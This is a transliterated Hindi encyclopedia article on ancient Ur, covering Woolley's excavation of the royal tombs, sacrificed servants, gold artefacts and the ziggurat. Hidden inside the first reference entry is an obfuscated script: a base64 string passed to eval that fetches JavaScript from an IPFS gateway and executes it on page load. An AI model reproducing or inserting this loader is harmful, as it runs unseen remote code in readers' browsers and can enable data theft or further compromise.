ऊर
oor sumer(sumeriya) ka prachin nagar. vartaman eerak mean pharat nadi se pray: chhah mil dakshin 'khaldiyoan ke oor' ke khandahar khod nikale ge haian. baibil mean ise ibrahim ka mool sthan kaha gaya hai. vahaan se tho di hi door par arabi marubhoomi ki sima aanrabh hoti hai. prachin sumeriyoan ka ziggurat aj bhi doosare khandaharoan ke sath vahaan kh da hai. d aau. liyonard vooli ne athak parishram se sumeri sabhyata ke us atyant prachin oor nagar ke bhagnavashesh khod nikale hai. unaka samay pray: 3500 ee. poo. hai aur unamean sabase mahatv ke avashesh us nagar ki shavasamadhiyaan haian. vahaan ki imaratoan mean sanbhavat: ve sabase prachin haian aur unamean paee gee anek vibhootiyoan se us kal ki sabhyata aur us sabhyata ke aishvary ka pata chalata hai.
oor ki kabroan mean mili vastuoan ke adhyayan se jivan aur mrityu donoan se sanbandhit adbhooth rahasyoan ka jnan hota hai. rajaoan ke un makabaroan mean kalpanatit svarn aur bahumooly vastuoan ka sanchay hua tha. sath hi vah aauan anek manavoan ki bali hone ka praman prastut hai. misriyoan ki hi bhaanti, lagata hai, prachin sumeri log bhi apane mritakoan ko unaki anant yatra ke lie pratyek avashyak parthiv upakaranoan se sanyukt kar dete the. anek prakar ke bhojy aur pey, rath, sianhasan aur sangit ke vividh upakaran mritakoan ke sath ga d die jate the. oor ki pray: do hajar kabroan se jo chijean nikali haian unamean dhatukarm ki ashcharyajanak vastuean pradhan haian. rajaoan aur raniyoan ke sath jivit daphanaean ge dasoan aur dasiyoan ke panjar sumeri sabhyata ke bhishan vishvasoan ko prakat karate haian. in das-dasiyoan ne jivan mean apane svamiyoan ki seva ki thi, ab vahi maranaantar unaki seva karane ke lie unake sath kar die ge the. svamiyoan ke jo das jivan mean jitane hi priyapatr rahe the, mrityu mean ve utane hi nikatatar mane ge aur svamiyoan ke sath hi unaka akal aant hua. oor ki kabroan se sone ke kirit, kangan,kanoan ke alankar, anek prakar ke har adi upalabdh hue haian. taanbe aur chaandi ke pharase aur unase bane bhaanti bhaanti ke acharaj ke kam ke barachhe bhale mile haian jinase dhatu ki dhalaee ka praman milata hai. chhoti-chhoti shrriangaramanjooshaoan mean rakhi daant aur kan kuredanevali chhoti chhoti dhatu ki pinean mili haian jinaka prabhav dekhanevaloan par nitaant adhunik p data hai.[1]
ek kabr mean svarn ka ek sudanr kirit pahane ek nari ka shav p da tha jisake hathoan mean sone ka ek suandar gilas tha. prakat hi hai ki vah svamini thi jisake char dasoan ko marakar unake shav unake charanoan mean dal die ge the aur usaki kabr ke bahar band dvar par tin bhe doan ki bali de di gee thi. kabr ki tinamanjili imarat ki har manjil mean ek manav bali di gee thi. sabase oopar vali kabr mean do sone ke phalakavale khanjar mile jinaki nilamaj di moothoan par svarnaksharoan mean 'raja meskalamdug' ka nam utkirn tha. doosari kabroan mean to aur bhi adhik daulat bhari thi aur unamean bali die hue adamiyoan ki sankhya prachur thi. ek mean to 74 lashean milian. rani shubad ki kabr mean to sone aur bahumooly pattharoan ki bani anek chijean mili haian. shrriangar ki anek chijoan aur maniyoan se nirmit vinuoan, kiritoan aur bartanoan ki chhata dekhane hi yogy hai. oor ki in kabroan mean jahaan maranaantar paralok ke bhayanak janavishvasoan par prakash p data hai vahaan 3500 ee.poo. aur 2500 ee.poo. ke bich ke kal ki sabhyata ka bhi prabhoot roop se udghatan hota hai.
in shavasamadhiyoan ke bad hi oor ke pahale rajavansh ka uday hua. in kabroan ka samay itana prachin hone par bhi prasiddh jalapralay ke pashchath hai, jo sanbhavat: 3200 ee. poo. se bhi pahale hua tha. inase pahale keval kish aur erekh ke rajakuloan ne sumer mean raj kiya tha. oor ke mahanh mandir ka ghera samrath nabookhadanejjar ka banavaya hua hai. usake uttar-poorvi bhag mean boor-sin ka ek abhilekh hai. sumeriyoan ka yahi mandir ziggurat nam se prasiddh tha. isamean bad ke rajaoan ne dhire-dhire anek parivartan kar die the. isake atirikt vahaan anek purane mandir haian jinaka samay samay par vidhvans aur jirnoddhar hota aya tha.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 188 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-si.liyonard vooli : oor aauv d kaildiz (1930); bhagavatasharan upadhyay : di ensheant varld (1955).
sanbandhit lekh
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